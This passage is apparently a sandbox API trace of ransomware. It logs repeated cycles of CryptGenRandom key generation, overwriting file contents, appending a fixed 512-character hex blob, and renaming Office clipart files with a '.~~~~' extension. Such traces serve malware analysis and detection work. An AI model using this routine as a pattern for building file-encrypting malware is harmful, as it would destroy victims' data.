	[0091.204] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.204] CloseHandle (hObject=0x134) returned 1
	[0091.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.204] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.~~~~")) returned 1
	[0091.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.205] GetLastError () returned 0x0
	[0091.205] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.206] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.206] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.206] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21119633389) returned 1
	[0091.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0251990, dwHighDateTime=0x1d60e1e)) 
	[0091.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382488
	[0091.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382488 | out: hHeap=0x300000) returned 1
	[0091.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383ff0
	[0091.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.207] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.207] GetLastError () returned 0x0
	[0091.207] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.207] GetLastError () returned 0x0
	[0091.209] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffd20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.209] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x2e0, lpOverlapped=0x0) returned 1
	[0091.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.209] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.209] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.209] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.209] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.209] CloseHandle (hObject=0x134) returned 1
	[0091.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.~~~~")) returned 1
	[0091.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.210] GetLastError () returned 0x0
	[0091.211] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.212] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.212] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.212] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21120190929) returned 1
	[0091.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0251990, dwHighDateTime=0x1d60e1e)) 
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3824f8
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3824f8 | out: hHeap=0x300000) returned 1
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384088
	[0091.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.212] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.212] GetLastError () returned 0x0
	[0091.212] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.213] GetLastError () returned 0x0
	[0091.214] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffe0f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.214] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1f08, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x1f08, lpOverlapped=0x0) returned 1
	[0091.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.214] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.214] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.214] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.214] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.215] CloseHandle (hObject=0x134) returned 1
	[0091.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.215] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.~~~~")) returned 1
	[0091.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.215] GetLastError () returned 0x0
	[0091.216] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.216] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.216] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.216] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21120660034) returned 1
	[0091.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0251990, dwHighDateTime=0x1d60e1e)) 
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382530
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382530 | out: hHeap=0x300000) returned 1
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3841b8
	[0091.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.217] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.217] GetLastError () returned 0x0
	[0091.217] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.217] GetLastError () returned 0x0
	[0091.282] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd6be, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.282] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2942, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x2942, lpOverlapped=0x0) returned 1
	[0091.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.284] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.284] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.285] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.285] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.285] CloseHandle (hObject=0x134) returned 1
	[0091.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.356] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.~~~~")) returned 1
	[0091.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.369] GetLastError () returned 0x0
	[0091.376] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.386] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.386] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.386] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21137626742) returned 1
	[0091.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa03f48b0, dwHighDateTime=0x1d60e1e)) 
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acba0
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acba0 | out: hHeap=0x300000) returned 1
	[0091.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384c58
	[0091.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.387] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.387] GetLastError () returned 0x0
	[0091.387] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.387] GetLastError () returned 0x0
	[0091.389] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd5c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.389] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x2a40, lpOverlapped=0x0) returned 1
	[0091.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.389] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.390] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.390] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.390] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.390] CloseHandle (hObject=0x134) returned 1
	[0091.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.436] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.~~~~")) returned 1
	[0091.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.458] GetLastError () returned 0x0
	[0091.469] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.470] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.470] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.471] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21146076475) returned 1
	[0091.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa04b2f90, dwHighDateTime=0x1d60e1e)) 
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a22c0
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a22c0 | out: hHeap=0x300000) returned 1
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384cf0
	[0091.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.471] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.472] GetLastError () returned 0x0
	[0091.472] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.472] GetLastError () returned 0x0
	[0091.473] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffdd22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.473] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x22de, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x22de, lpOverlapped=0x0) returned 1
	[0091.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.537] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.537] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.537] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
